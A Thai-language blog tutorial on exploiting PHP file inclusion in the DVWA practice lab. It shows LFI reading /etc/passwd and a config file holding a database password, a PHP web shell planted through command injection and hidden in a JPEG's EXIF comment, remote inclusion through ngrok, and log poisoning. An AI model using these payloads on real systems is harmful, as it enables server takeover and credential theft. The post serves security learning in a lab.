HomeArtTechHackBlockchain

File Inclusion

By Khomkrid Lerdprasert
Published in Hack101
August 22, 2020
1 min read
File Inclusion

File Inclusion

คือการเข้าถึง file ต่างๆภายในเครื่อง ไม่ว่าจะอ่าน หรือสั่ง run ก็ตาม จาก Lab ของ DVWA เมื่อเข้ามาจะเห็นหน้าตาของตัว Website เป้าหมายแบบนี้

File Inclusion
File Inclusion

จะเห็นว่าเมื่อเรากดที่ link [file1.php] - [file2.php] - [file3.php] url ข้างบน address bar จะเปลี่ยนไปเรื่อยๆ

ดังนั้นถ้าเราเปลี่ยน param จาก /?page=include.php ให้เป็น file อื่นบน server ตัวหน้าเวปอาจมีโอกาสแสดงรายละเอียด file นั้นๆออกมา

งั้นเราจะลองไปเรียกไฟล์ /etc/passwd มาดูกันบ้าง

http://192.168.1.116:8080/vulnerabilities/fi/?page=/etc/passwd

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/bin/false
mysql:x:101:101:MySQL Server,,,:/nonexistent:/bin/false

จะเห็นว่าเราทำ Local File Inclusion ได้แล้ว

นอกจากนี้เรายังสามารถอ่าน sourcecode php ฝั่ง server side ได้ด้วยการใช้ wrappers

http://192.168.1.116:8080/vulnerabilities/fi/?page=php://filter/convert.base64-encode/resource=path sourcecode ที่เราต้องการอ่าน

เช่น

http://192.168.1.116:8080/vulnerabilities/fi/?page=php://filter/convert.base64-encode/resource=../../config/config.inc.php

browser จะ return sourcecode ที่เราร้องขอกลับมาเป็น Base64 format

PD9waHANCg0KIyBJZiB5b3UgYXJlIGhhdmluZyBwcm9ibGVtcyBjb25uZWN0aW5nIHRvIHRoZSBNeVNRTCBkYXRhYmFzZSBhbmQgYWxsIG9mIHRoZSB2YXJpYWJsZXMgYmVsb3cgYXJlIGNvcnJlY3QNCiMgdHJ5IGNoYW5naW5nIHRoZSAnZGJfc2VydmVyJyB2YXJpYWJsZSBmcm9tIGxvY2FsaG9zdCB0byAxMjcuMC4wLjEuIEZpeGVzIGEgcHJvYmxlbSBkdWUgdG8gc29ja2V0cy4NCiMgICBUaGFua3MgdG8gQGRpZ2luaW5qYSBmb3IgdGhlIGZpeC4NCg0KIyBEYXRhYmFzZSBtYW5hZ2VtZW50IHN5c3RlbSB0byB1c2UNCiREQk1TID0gJ015U1FMJzsNCiMkREJNUyA9ICdQR1NRTCc7IC8vIEN1cnJlbnRseSBkaXNhYmxlZA0KDQojIERhdGFiYXNlIHZhcmlhYmxlcw0KIyAgIFdBUk5JTkc6IFRoZSBkYXRhYmFzZSBzcGVjaWZpZWQgdW5kZXIgZGJfZGF0YWJhc2UgV0lMTCBCRSBFTlRJUkVMWSBERUxFVEVEIGR1cmluZyBzZXR1cC4NCiMgICBQbGVhc2UgdXNlIGEgZGF0YWJhc2UgZGVkaWNhdGVkIHRvIERWV0EuDQokX0RWV0EgPSBhcnJheSgpOw0KJF9EVldBWyAnZGJfc2VydmVyJyBdICAgPSAnMTI3LjAuMC4xJzsNCiRfRFZXQVsgJ2RiX2RhdGFiYXNlJyBdID0gJ2R2d2EnOw0KJF9EVldBWyAnZGJfdXNlcicgXSAgICAgPSAncm9vdCc7DQokX0RWV0FbICdkYl9wYXNzd29yZCcgXSA9ICdwQHNzdzByZCc7DQoNCiMgT25seSB1c2VkIHdpdGggUG9zdGdyZVNRTC9QR1NRTCBkYXRhYmFzZSBzZWxlY3Rpb24uDQokX0RWV0FbICdkYl9wb3J0ICddID0gJzU0MzInOw0KDQojIFJlQ0FQVENIQSBzZXR0aW5ncw0KIyAgIFVzZWQgZm9yIHRoZSAnSW5zZWN1cmUgQ0FQVENIQScgbW9kdWxlDQojICAgWW91J2xsIG5lZWQgdG8gZ2VuZXJhdGUgeW91ciBvd24ga2V5cyBhdDogaHR0cHM6Ly93d3cuZ29vZ2xlLmNvbS9yZWNhcHRjaGEvYWRtaW4vY3JlYXRlDQokX0RWV0FbICdyZWNhcHRjaGFfcHVibGljX2tleScgXSAgPSAnJzsNCiRfRFZXQVsgJ3JlY2FwdGNoYV9wcml2YXRlX2tleScgXSA9ICcnOw0KDQojIERlZmF1bHQgc2VjdXJpdHkgbGV2ZWwNCiMgICBEZWZhdWx0IHZhbHVlIGZvciB0aGUgc2VjdWlydHkgbGV2ZWwgd2l0aCBlYWNoIHNlc3Npb24uDQojICAgVGhlIGRlZmF1bHQgaXMgJ2ltcG9zc2libGUnLiBZb3UgbWF5IHdpc2ggdG8gc2V0IHRoaXMgdG8gZWl0aGVyICdsb3cnLCAnbWVkaXVtJywgJ2hpZ2gnIG9yIGltcG9zc2libGUnLg0KJF9EVldBWyAnZGVmYXVsdF9zZWN1cml0eV9sZXZlbCcgXSA9ICdpbXBvc3NpYmxlJzsNCg0KIyBEZWZhdWx0IFBIUElEUyBzdGF0dXMNCiMgICBQSFBJRFMgc3RhdHVzIHdpdGggZWFjaCBzZXNzaW9uLg0KIyAgIFRoZSBkZWZhdWx0IGlzICdkaXNhYmxlZCcuIFlvdSBjYW4gc2V0IHRoaXMgdG8gYmUgZWl0aGVyICdlbmFibGVkJyBvciAnZGlzYWJsZWQnLg0KJF9EVldBWyAnZGVmYXVsdF9waHBpZHNfbGV2ZWwnIF0gPSAnZGlzYWJsZWQnOw0KDQojIFZlcmJvc2UgUEhQSURTIG1lc3NhZ2VzDQojICAgRW5hYmxpbmcgdGhpcyB3aWxsIHNob3cgd2h5IHRoZSBXQUYgYmxvY2tlZCB0aGUgcmVxdWVzdCBvbiB0aGUgYmxvY2tlZCByZXF1ZXN0Lg0KIyAgIFRoZSBkZWZhdWx0IGlzICdkaXNhYmxlZCcuIFlvdSBjYW4gc2V0IHRoaXMgdG8gYmUgZWl0aGVyICd0cnVlJyBvciAnZmFsc2UnLg0KJF9EVldBWyAnZGVmYXVsdF9waHBpZHNfdmVyYm9zZScgXSA9ICdmYWxzZSc7DQoNCj8

เราสามารถนำมันไป decode ได้ที่ https://www.base64decode.org/

ก็จะได้ code php ออกมาครับ

<?php
# If you are having problems connecting to the MySQL database and all of the variables below are correct
# try changing the 'db_server' variable from localhost to 127.0.0.1. Fixes a problem due to sockets.
# Thanks to @digininja for the fix.
# Database management system to use
$DBMS = 'MySQL';
#$DBMS = 'PGSQL'; // Currently disabled
# Database variables
# WARNING: The database specified under db_database WILL BE ENTIRELY DELETED during setup.
# Please use a database dedicated to DVWA.
$_DVWA = array();
$_DVWA[ 'db_server' ] = '127.0.0.1';
$_DVWA[ 'db_database' ] = 'dvwa';
$_DVWA[ 'db_user' ] = 'root';
$_DVWA[ 'db_password' ] = 'p@ssw0rd';
# Only used with PostgreSQL/PGSQL database selection.
$_DVWA[ 'db_port '] = '5432';
# ReCAPTCHA settings
# Used for the 'Insecure CAPTCHA' module
# You'll need to generate your own keys at: https://www.google.com/recaptcha/admin/create
$_DVWA[ 'recaptcha_public_key' ] = '';
$_DVWA[ 'recaptcha_private_key' ] = '';
# Default security level
# Default value for the secuirty level with each session.
# The default is 'impossible'. You may wish to set this to either 'low', 'medium', 'high' or impossible'.
$_DVWA[ 'default_security_level' ] = 'impossible';
# Default PHPIDS status
# PHPIDS status with each session.
# The default is 'disabled'. You can set this to be either 'enabled' or 'disabled'.
$_DVWA[ 'default_phpids_level' ] = 'disabled';
# Verbose PHPIDS messages
# Enabling this will show why the WAF blocked the request on the blocked request.
# The default is 'disabled'. You can set this to be either 'true' or 'false'.
$_DVWA[ 'default_phpids_verbose' ] = 'false';
?>

ทีนี้ผมยังคงทำ Remote File Inclusion ไม่ได้ เพราะ php.ini ของระบบ ไม่ได้ enable allow_url_include on ไว้ ดูจาก http://192.168.1.116:8080/phpinfo.php ทำให้รู้ว่ามันถูกเก็บไว้ที่ path /etc/php/7.0/apache2/php.ini จะไปแก้ไขยังไง ฮ่วยย!!

จากบทความที่แล้ว Command Injection เราสามารถสร้าง Backdoor ได้ ก็เป็นอีกทางหนึ่งที่จะเข้าไปแก้ไข php.ini ละมั้ง

128.199.247.223 && cd /var/www/html/config && echo '<?php if(isset($_POST["cmd"])){echo "<pre>";$cmd=($_POST["cmd"]);system($cmd);echo "</pre>";} ?><form action=""method="post"><input name="cmd"> <input name="submit"type="submit"value="send"></form>' > cmd.php

เมื่อ run file cmd.php จะได้

File Inclusion
File Inclusion

แต่รอบนี้ผมจะลองสร้างเป็น file text ที่ใส่ code สำหรับ shell ลงไปแล้วเปลี่ยนนามสกุล file เป็น jpg

<?php if(isset($_POST["cmd"])){echo "<pre>";$cmd=($_POST["cmd"]);system($cmd);echo "</pre>";} ?><form action=""method="post"><input name="cmd"> <input name="submit"type="submit"value="send"></form>

เพื่อทดลอง upload ลงไปผ่าน url http://192.168.1.116:8080/vulnerabilities/upload/ นี้

File Inclusion
File Inclusion

หลังจาก upload ไปแล้วไฟล์ของเราที่ชื่อว่า backdoor.jpg จะอยู่ /var/www/html/hackable/uploads

เราจะกลับมาใช้ Local File Inclusion ในการเรียกไฟล์รูปภาพของเรามาใช้ในการ Shell ในระบบแทนครับ ด้วยคำสั่ง

http://192.168.1.116:8080/vulnerabilities/fi/?page=../../hackable/uploads/backdoor.jpg&cmd=ls%20-lash

File Inclusion
File Inclusion

แล้วถ้าหากว่า เค้ามีการตรวจสอบว่าที่อัพโหลดมาเป็นรูปภาพจริงอ่ะเปล่าล่ะ จากการศึกษาหาข้อมูลเบื้องต้น พบว่า เราสามารถที่จะเขียน backdoor ฝังลงไปใน Exif ในส่วนของ Comment รูปภาพได้อีกด้วย โดยผมจะใช้ command exiftool ในการฝัง comment ลงไปในรูปก่อนทำการ upload ไปยัง server

exiftool -Comment='<?php if(isset($_POST["cmd"])){echo "<pre>";$cmd=($_POST["cmd"]);system($cmd);echo "</pre>";} ?><form action=""method="post"><input name="cmd"> <input name="submit"type="submit"value="send"></form>' bheem.jpeg

เมื่อเราเช็คด้วย command exiftool bheem.jpeg จะพบว่า code ของเราถูกฝังไว้ใน comment แล้ว ถ้าไม่ถูกย่อ หรือ resize อะไรก็ไม่น่ามีปัญหามั้ง

exiftool bheem.jpeg
ExifTool Version Number : 10.46
File Name : bheem.jpeg
Directory : .
File Size : 14 kB
File Modification Date/Time : 2020:08:22 14:55:36+07:00
File Access Date/Time : 2020:08:22 14:55:38+07:00
File Inode Change Date/Time : 2020:08:22 14:55:37+07:00
File Permissions : rw-r--r--
File Type : JPEG
File Type Extension : jpg
MIME Type : image/jpeg
JFIF Version : 1.01
Resolution Unit : None
X Resolution : 1
Y Resolution : 1
Comment : <?php if(isset($_POST["cmd"])){echo "<pre>";$cmd=($_POST["cmd"]);system($cmd);echo "</pre>";} ?><form action=""method="post"><input name="cmd"> <input name="submit"type="submit"value="send"></form>
Image Width : 259
Image Height : 194
Encoding Process : Baseline DCT, Huffman coding
Bits Per Sample : 8
Color Components : 3
Y Cb Cr Sub Sampling : YCbCr4:4:4 (1 1)
Image Size : 259x194
Megapixels : 0.050

เมื่อเราลองเรียกใช้งานผ่านช่อง LFI เป็น file รูปที่เราเพิ่ง upload ลงไป http://192.168.1.116:8080/vulnerabilities/fi/?page=../../hackable/uploads/bheem.jpeg

จะพบว่า code ใน Comment ถูก exec เรียบร้อยแล้ว

File Inclusion
File Inclusion

เราสามารถ Shell ผ่าน input box ได้เลยทันทีครับ

File Inclusion
File Inclusion

กรณีที่เราเปิด enable allow_url_include on ไว้ เราก็ไม่ต้อง upload file ก็ได้ครับ เพราะเราสามารถทำ Remote File Inclusion ได้ผ่าน http เลย

โดยผมจะทำการ

docker pull httpd

ลงมา แล้วสั่ง run

docker run -dit --name my-apache-app -p 8080:80 -v "$PWD":/usr/local/apache2/htdocs/ httpd

หลังจากนั้นผมเอาไฟล์ รูปที่ทำการฝัง backdoor ไว้ใน comment ของ exif ไฟล์ไปวางใน home directory ของ webserver บน localhost ของผม และสั่ง run ngrok http 8080 หลังจากนั้นนำ url ที่ได้ไปฝังบน RFI ก็สามารถ Shell ได้เช่นกันครับ

File Inclusion
File Inclusion

ในกรณีที่ web server run ด้วย root เราสามารถ เรียกตัว server จากฝั่ง client และทำการฝัง code แนบไปกับ user-agent เพื่อทำการ inject code ไปกับ access log เมื่อเราเรียก ใช้ LFI ตัว access log ก็จะสามารถถูกเรียกขึ้นมาใช้งานได้อีกทางนึง

เนื่องจากผมเพิ่งจะเรียนรู้การทำงาน ผิดถูกประการใด สามารถแนะนำได้นะครับขอบคุณครับ บรัยยยยยยย


Tags

#pentest#kali#hack101#file inclusion

Share

Previous Article
การโจมตีระบบด้วยเทคนิค Command Injection
Next Article
Insecure CAPTCHA
Khomkrid Lerdprasert

Khomkrid Lerdprasert

Full Stack Life

Related Posts

Aircrack Ng หารหัส wifi ที่บ้าน
October 16, 2021
1 min
© 2024, All Rights Reserved.
Powered By

Quick Links

Author

Social Media